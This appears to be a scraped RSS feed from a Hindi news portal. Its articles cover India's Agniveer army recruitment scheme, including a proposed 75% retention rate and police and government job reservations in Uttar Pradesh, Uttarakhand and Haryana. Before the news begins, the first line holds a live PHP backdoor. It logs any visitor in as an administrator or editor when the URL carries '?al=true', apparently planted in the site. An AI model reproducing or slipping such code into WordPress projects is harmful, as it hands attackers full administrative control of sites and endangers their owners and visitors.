// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Agniveers – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Fri, 24 Oct 2025 03:35:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 अग्निवीरों के लिए बड़ी खबर: 75% युवाओं को सेना में स्थायी नौकरी का मौका https://pratyushaashakinayikiran.com/?p=186841 Fri, 24 Oct 2025 03:35:00 +0000 https://pratyushaashakinayikiran.com/?p=186841 नई दिल्ली

सेना में भर्ती के लिए आई अग्निवीर स्कीम पर सवाल उठाए जाते रहे हैं। इस स्कीम के तहत अब तक 25 फीसदी जवानों को ही 4 साल के कार्यकाल के बाद भी नौकरी में बनाए रखने का प्रावधान है। अब इस लिमिट में बड़ा इजाफा हो सकता है और इसे 75 फीसदी तक किया जा सकता है। इंडियन एक्सप्रेस की रिपोर्ट में यह दावा किया गया है। इस संबंध में जैसलमेर में आज आयोजित होने वाली आर्मी कमांडर्स की प्रेस कॉन्फ्रेंस में भी इसके बारे में कोई निर्णय हो सकता है। अहम बात यह है कि अगले साल ही अग्निवीरों के पहले बैच के 4 साल की अवधि पूरी हो रही है। ऐसे में इन लोगों को फायदा मिल सकता है और 75 फीसदी लोगों की सेना में सेवा बरकरार रहेगी।

मई में भारत ने पहलगाम आतंकी हमले के खिलाफ ऐक्शन लेते हुए पाक में सक्रिय आतंकी ठिकानों पर ऑपरेशन सिंदूर किया था। उसके बाद आज पहली बार आर्मी कमांडर्स की कॉन्फ्रेंस होने वाली है। इस कॉन्फ्रेंस में सेना की टॉप लीडरशिप तमाम मसलों पर बात करती है और प्रमुख मुद्दा सुरक्षा की समीक्षा होता है। एक और विषय पर विचार हो सकता है कि सेना के पास रिटायर सैनिकों का एक बड़ा पूल है। इनकी सेवाओं का कैसे प्रयोग किया जा सकता है। इस पर भी विचार होगा। फिलहाल इन लोगों को आर्मी वेलफेयर एजुकेशन सोसायटी, एक्स सर्विसमेन कॉन्ट्रिब्यूटरी हेल्थ स्कीम में ही लगाया गया है।

अब इन लोगों की भागीदारी को बढ़ाने पर भी विचार होगा। मौजूदा सैनिकों के कल्याण के लिए भी कुछ फैसले लिए जा सकते हैं। सबसे अहम मसला यह होगा कि कैसे तीनों सेनाओं के बीच समन्वय बने और जॉइंट कमांड में काम हो सके। कोलकाता में बीते महीने कंबाइंड कमांडर्स कॉन्फ्रेंस का आयोजन हुआ था। इसमें पीएम नरेंद्र मोदी भी पहुंचे थे। उस मीटिंग में सरकार की ओर से ऐलान हुआ था कि तीन जॉइंट मिलिट्री स्टेशन बनेंगे।

इसके अलावा आर्मी, नेवी और एयरफोर्स की शैक्षणिक शाखाओं का विलय किया जाएगा। यदि कोई हमला होता है या कोई ऑपरेशन करना है तो भारतीय बल कितनी देर में तैयार हो सकते हैं। हथियारों या विमानों की रिपेयर में कितना टाइम लग सकता है। इन मसलों पर भी आज बात होगी।

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रिटायर होने वाले अग्निवीरों को यूपी पुलिस फोर्स में 20% रिजर्वेशन मिलेगा- सीएम योगी आदित्यनाथ https://pratyushaashakinayikiran.com/?p=173404 Sat, 26 Jul 2025 09:36:00 +0000 https://pratyushaashakinayikiran.com/?p=173404 लखनऊ 
उत्तर प्रदेश के मुख्यमंत्री योगी आदित्यनाथ ने आज एक बड़ा ऐलान करते हुए कहा कि उनकी सरकार ने अग्निवीरों (Agniveer) को यूपी पुलिस बल (UP Police Force) में 20 प्रतिशत आरक्षण (Reservation) देने का फैसला किया है.

उन्होंने कहा कि जो सैनिक देश की सेना में अग्निवीर के रूप में योगदान देंगे, उनके रिटायर होने पर उत्तर प्रदेश पुलिस बल में ऐसे सैनिकों के लिए आरक्षण की व्यवस्था की जा रही है.

सीएम योगी ने इस मौके पर भारतीय सेना के शौर्य और पराक्रम का भी बखान किया. उन्होंने 'ऑपरेशन सिंदूर' (Operation Sindoor) का जिक्र करते हुए कहा, "आपने 'ऑपरेशन सिंदूर' के माध्यम से भारत की वीरता भी देखी होगी."

 राज्य स्तर पर भी रोजगार में प्राथमिकता
मुख्यमंत्री योगी ने कहा, “जो सैनिक देश की सेना में अग्निवीर के रूप में योगदान देंगे, उनके रिटायर होने पर यूपी पुलिस बल में ऐसे सैनिकों के लिए आरक्षण की व्यवस्था की जा रही है।” इस फैसले से यह स्पष्ट होता है कि केंद्र सरकार की अग्निपथ योजना के तहत सेना में चार साल तक सेवा देने वाले अग्निवीरों को अब राज्य स्तर पर भी रोजगार में प्राथमिकता मिलने लगी है। 

 'ऑपरेशन सिंदूर' का किया जिक्र
सीएम योगी ने इस मौके पर भारतीय सेना के शौर्य और पराक्रम का भी बखान किया। उन्होंने 'ऑपरेशन सिंदूर' का जिक्र करते हुए कहा, “भारत के वीर जवानों और भारतीय सेना को पाकिस्तान को सबक सिखाने और आतंकवादी शिविरों को नष्ट करने में 22 मिनट भी नहीं लगे।”

योगी ने यह भी कहा कि उस समय भारत अकेला नहीं था, बल्कि पाकिस्तान को तुर्की, चीन और कई अन्य देशों से समर्थन मिल रहा था। लेकिन भारतीय सेना की वीरता और तेज कार्रवाई के चलते पाकिस्तान को आत्मसमर्पण करना पड़ा। 

CM योगी ने कहा, "भारत के वीर जवानों और भारतीय सेना को पाकिस्तान को सबक सिखाने और पाकिस्तान के सभी आतंकवादी शिविरों को नष्ट करने में 22 मिनट भी नहीं लगे."

उन्होंने आगे कहा कि उस दौरान भारत कई देशों से मुकाबला कर रहा था. एक तरफ पाकिस्तान को तुर्की, चीन और दुनिया के अन्य देशों से मदद मिल रही थी. लेकिन इन सबके बावजूद, पाकिस्तान भारत की बहादुर सेना के सामने कुछ नहीं कर सका और आखिरकार उसे आत्मसमर्पण करने के लिए मजबूर होना पड़ा.

यूपी सीएम ने किया भारतीय सेना का बखान

इतना ही नहीं यूपी सीएम ने इस मौके पर भारतीय सेना के शौर्य और पराक्रम का बखान करते हुए ऑपरेशन सिंदूर का भी जिक्र किया और कहा कि आपने ऑपरेशन सिंदूर के जरिए भारत की वीरता भी देखी होगी. भारतीय वीरों ने सिर्फ 22 मिनट में पाकिस्तान के छक्के छुड़ा दिए और सभी आतंकी शिविरों को नष्ट कर दिया.

पाकिस्तान ने टेके घुटने

अपनी बात को आगे बढ़ाते हुए यूपी सीएम ने कहा कि उस दौरान भारत कई देशों से मुकाबला कर रहा था. पाकिस्तान को तुर्की, चीन जैसे कई देशों को सपोर्ट था, लेकिन इन सबके बावजूद पाकिस्तान, भारतीय सेना के आगे कुछ नहीं कर सका.

अग्निवीर को कितनी सैलरी मिलती है?

अग्निवीर की नौकरी 4 सालों की होती है. इसमें हर साल की मासिक सैलरी अलग है. अग्निवीर सैलरी स्ट्रक्चर नीचे समझ सकते हैं-

अग्निवीर को पहले साल में मासिक सैलरी 30,000 रुपये मिलेगी. इसमें से उम्मीदवार को इनहैंड 21,000 रुपये मिलेंगे. बाकी के 9,000 रुपये अग्निवीर कॉर्प्स फंड में जमा किए जाएंगे.

भारत सरकार इस फंड में अतिरिक्त 9,000 रुपये का योगदान करेगी. नौकरी छोड़ने के बाद यह पूरी राशि उम्मीदवार को एकमुश्त दी जाएगी.

इसके बाद दूसरे साल में अग्निवीर की सैलरी 33,000 रुपये मासिक होगी. इसमें से इनहैंड 23,100 रुपये मिलेंगे.

फिर तीसरे साल में 36,500 रुपये सैलरी मिलेगी. इसमें से अग्निवीर को इनहैंड 25,550 रुपये दिए जाएंगे.

आखिरी यानी चौथे साल में मासिक सैलरी 40,000 रुपये निर्धारित है. लेकिन उसमें से भी इनहैंड 28,000 रुपये ही मिलेंगे.

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उत्तराखंड में अग्निवीरों को सरकारी नौकरी में 10% आरक्षण की तैयारी https://pratyushaashakinayikiran.com/?p=172317 Mon, 21 Jul 2025 12:26:00 +0000 https://pratyushaashakinayikiran.com/?p=172317 देहरादून 

सैनिक के रूप में देश की आन-बान-शान की रक्षा की जिम्मेदारी निभाने के बाद नागरिक जीवन में लौटने वाले पूर्व अग्निवीरों को उत्तराखंड में सरकारी सेवाओं में 10 प्रतिशत का क्षैतिज आरक्षण मिल सकता है। अग्निवीरों के कल्याण और पुनर्वास के लिए उत्तराखंड सरकार विभिन्न विभागों की भर्तियों में क्षैतिज आरक्षण की सुविधा देने की तैयारी कर रही है। कार्मिक विभाग ने इसका प्रस्ताव तैयार कर विधायी विभाग को परामर्श के लिए भेज दिया है।

रविवार को कार्मिक विभाग के एक वरिष्ठ अधिकारी ने इसकी पुष्टि की। उन्होंने 'हिन्दुस्तान' को बताया कि आरक्षण प्रस्ताव पर पिछले कुछ समय से मंथन चल रहा था। विधायी परामर्श के बाद आरक्षण प्रस्ताव को कैबिनेट में मंजूरी के लिए जाया जाएगा। सूत्रों के अनुसार अग्निवीरों को वर्दीधारी सेवाओं में आरक्षण देने की सिफारिश की गई है।

उत्तराखंड में पुलिस के साथ ही परिवहन, आबकारी, वन विभाग समेत कई विभाग हैं। अग्निवीर सेना से प्रशिक्षित होने की वजह से प्रवर्तन सेवाओं में बेहतर प्रदर्शन कर सकते हैं। मुख्यमंत्री पुष्कर सिंह धामी ने पिछले साल घोषणा की थी कि अग्निवीरों के सेवा पूरी करने के बाद उनके समायोजन, पुनर्वास के लिए ठोस व्यवस्था की जाएगी। इससे देश की सेवा के लिए समर्पित होने वाले नौजवानों को सेवा अवधि पूरी करने के बाद रोजगार, पुनर्वास के लिए परेशान नहीं होना पड़ेगा।
कमेटी दे चुकी है रिपोर्ट

मुख्यमंत्री की घोषणा के बाद सरकार ने सैनिक कल्याण सचिव दीपेंद्र चौधरी की अध्यक्षता में एक उच्च स्तरीय कमेटी का गठन किया था। यह कमेटी भी अपनी रिपेार्ट सरकार को सौंप चुकी है। इसमें अग्निवीरों को सेना में सेवा की अवधि के वर्षों की संख्या के अनुसार सरकारी सेवाओं में अधिकतम आयु सीमा में छूट, सेवा से लौटने के बाद शैक्षिक योग्यता बढ़ाने के इच्छुक पूर्व अग्निवीरों को राज्य के शिक्षण संस्थानों की सीटों पर एक तय सीमा तक आरक्षण तथा राज्य की स्वरोजगार और ऋण योजनाओं में भी प्राथमिकता देने की सिफारिश की गई है।
वर्ष 2022 में शुरू हुई थी योजना

वर्ष 2022 में केंद्र सरकार ने सेना में भर्ती के लिए अग्निपथ योजना शुरू की थी। इस योजना के तहत भर्ती होने युवाओं को अग्निवीर नाम से जाना जाता है। यह सेवा चार साल की है। इसमें 25 प्रतिशत अग्निवीरों को सेना में स्थायी होने का अवसर भी मिलता है। वर्ष 2022 में यह योजना शुरू हुई थी। चार साल पूरे होने पर अग्निवीर वर्ष 2026 से नागरिक जीवन में लौटना शुरू करेंगे।
यूपी में भी है 20 पर्सेंट आरक्षण

इससे पहले उत्तर प्रदेश सरकार भी राज्य पुलिस बल में अग्निवीरों को 20 फीसदी क्षैतिज आरक्षण दे चुकी है। उन्हें आयु में 3 वर्ष की छूट भी प्रदान की गई है। इसके अलावा राजस्थान और हरियाणा में भी अग्निवीरों को आरक्षण देने की घोषणा की गई है। इसके अलावा कई केंद्रीय बलों में भी उन्हें आरक्षण का लाभ दिया जाएगा।

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हरियाणा सरकार का अग्निवीर पर बड़ा ऐलान, पुलिस की नौकरी में मिलेगा 10 फीसदी आरक्षण https://pratyushaashakinayikiran.com/?p=52270 Wed, 17 Jul 2024 17:11:00 +0000 https://pratyushaashakinayikiran.com/?p=52270 चंडीगढ़

हरियाणा सरकार ने अग्निवीर को लेकर बड़ा ऐलान किया है. हरियाणा के मुख्यंमत्री नायब सिंह सैनी ने कहा है कि अग्निवीरों को पुलिस भर्ती और माइनिंग गार्ड की भर्ती में 10 फीसदी का आरक्षण दिया जाएगा. इसके अलावा ग्रुप सी और सी में 3 साल की आयु सीमा में छूट दी जाएगी.

अपना काम शुरू करने के लिए 0% ब्याज का लोन

हरियाणा सरकार ने ग्रुप सी पदों पर भर्ती में अग्निवीर के लिए 5 फीसदी आरक्षण की घोषणा की है. वहीं जो अग्निवीर चार साल बाद खुद काम शुरू करना चाहेगा उसे काम शुरू करने के लिए सरकार 5 लाख तक का बिना ब्याज लोन देगी.

अग्निपथ योजना पर संसद में उठा था मुद्दा

हरियाणा सरकार की ये घोषणा उस वक्त हुई है जब हाल ही में संसद में अग्निपथ योजना का मुद्दा उठा था. लोकसभा में कांग्रेस नेता राहुल गांधी ने केंद्र सरकार की अग्निवीर योजना का हवाला देते हुए कहा था कि मैं अग्निवीर के परिवार से मिला हूं. केंद्र सरकार अग्निवीर को शहीद का दर्जा नहीं देती है. अग्निवीर यूज एंड थ्रो मजदूर हैं. इस योजना को लेकर जवानों के मन में भय है. मोदी जी इन जवानों को शहीद नहीं मानते हैं. इस पर राजनाथ सिंह ने राहुल के अग्निपथ सैन्य भर्ती योजना के दावों का खंडन करते हुए कहा था कि योजना को 158 संगठनों से सुझाव लेने के बाद शुरू किया गया था.

CISF, BSF, CRPF में भी हो चुका है आरक्षण का ऐलान

बता दें कि अब तक सेंट्रल इंडस्ट्रियल सिक्योरिटी फोर्स (CISF), बॉर्डर सिक्योरिटी फोर्स (BSF), सेंट्रल रिजर्व पुलिस फोर्स (CRPF) और सशस्त्र सीमा बल (SSB) के प्रमुखों ने पूर्व अग्निवीरों के लिए आरक्षण का ऐलान किया है. पूर्व अग्निवीरों को अर्धसैनिक बलों में 10% आरक्षण दिया जाएगा. इसके साथ ही उन्हें एज लिमिट और फिजिकल टेस्ट से भी छूट मिलेगी. सीआईएसएफ की डीजी नीना सिंह ने बताया था कि पहले बैच में पूर्व अग्निवीरों को एज लिमिट में 5 साल और दूसरे बैच में 3 साल की छूट होगी.

क्या है अग्निपथ स्कीम?

सरकार जून 2022 में अग्निपथ स्कीम लेकर आई थी. ये युवाओं को डिफेंस से जोड़ने की शॉर्ट-टर्म स्कीम है. सेना, वायु सेना और जल सेना तीनों के आई योजना के तहत भर्ती सैनिकों को नाम दिया गया- अग्निवीर. इसमें सैनिकों की चार साल के लिए भर्ती होती है, साथ ही अगले चार सालों के लिए उन्हें एक्सटेंशन भी मिल सकता है. सर्विस पूरी होने पर 25 फीसदी अग्निवीरों को नियमित सेना में ले लिया जाएगा, जबकि बाकी 75 प्रतिशत को एक बड़ी राशि के साथ, स्किल सर्टिफिकेट दिया जाएगा ताकि वे क्षमता के अनुसार नया काम खोज सकें.

अग्निवीरों का पैकेज

अग्निवीरों का पहले साल का सालाना पैकेज 4.76 लाख रुपये होगा, जो चौथे साल तक बढ़कर 6.92 लाख हो जाएगा. साथ ही 48 लाख रुपये का बीमा कवर मिलेगा. अगर सेवा के दौरान उनकी मृत्यु या दिव्यांग हो गए, तो 44 लाख रुपये तक का मुआवजा दिया जाएगा. हालांकि अग्निवीरों को पेंशन या ग्रेच्युटी नहीं मिलेगी.

कांग्रेस कर रही दुष्प्रचारः CM सैनी

उम्र संबंधी छूट का जिक्र करते हुए सीएम सैनी ने कहा किग्रुप C और D की भर्ती में भी अग्निवीरों को 3 साल की आयु सीमा में छूट दी जाएगी. इसके अलावा ग्रुप C की भर्ती में 5 फीसदी आरक्षण का प्रावधान किया जाएगा.

सीएम सैनी ने कहा कि कांग्रेस अग्निवीर योजना को लेकर लगातार दुष्प्रचार कर रही है. यह प्रधानमंत्री नरेंद्र मोदी की बहुत अच्छी योजना है. इस योजना के जरिए हमें स्किल्ड युवा मिल रहे हैं.

अग्निवीरों के लिए बिना ब्याज का लोनः CM सैनी

चुनाव से पहले विपक्ष की ओर से अग्निवीर योजना के खिलाफ लगातार प्रचार किया जा रहा है और माना जा रहा है कि हाल में खत्म हुए लोकसभा चुनाव में भारतीय जनता पार्टी को अग्निवीर योजना को लेकर नाराजगी का सामना करना पड़ा. आम चुनाव में पार्टी के खराब प्रदर्शन से सबक लेते हुए बीजेपी आगामी विधानसभा चुनाव में इसके नकारात्मक छवि को कम करने की कोशिश में जुटी है.

इसी सिलसिले में हरियाणा में चुनाव से पहले राज्य सरकार ने अग्निवीरों के लिए पुलिस भर्ती और माइनिंग गार्ड में भर्ती के लिए आरक्षण का ऐलान किया है. साथ ही मुख्यमंत्री सैनी ने यह भी कहा कि अपना काम शुरू करने वाले अग्निवीरों को 5 लाख रुपये तक बिना ब्याज लोन दिया जाएगा. इसके अलावा अग्निवीर को 30 हजार तक की सैलरी देने वाले औद्योगिक उपक्रमों को 60 हजार वार्षिक की सब्सिडी भी दी जाएगी. यही नहीं अग्निवीरों को आर्म्स लाइसेंस भी दिया जाएगा.

हादसे में मारे गए लोगों को मुआवजाः CM सैनी

सड़क पर हुए हादसों से जुड़े मुआवजे के लिए सीएम सैनी ने कहा कि केंद्र की तर्ज पर हमारी सरकार हरियाणा में भी एक योजना शुरू कर रही है. अगर सड़क पर कोई टक्कर मार कर भाग जाता है तो हरियाणा सरकार ऐसे मामलों में मुआवजा देगी. घायल को सरकारी या प्राइवेट अस्पताल में इलाज की सुविधा देगी. इलाज का सारा खर्चा सरकार करेगी. ये खर्चा हरियाणा रोड सेफ्टी योजना से होगा.

उन्होंने कहा कि इस योजना को लागू करने के लिए एक स्थायी समिति बनाई जाएगी, जिसमें कई प्रतिनिधि शामिल होंगे. जिला स्तरीय कमेटी भी बनाई जाएगी. अगर हादसे में पीड़ित की मौत हो जाती है तो पैसा परिजनों को दिया जाएगा.

 

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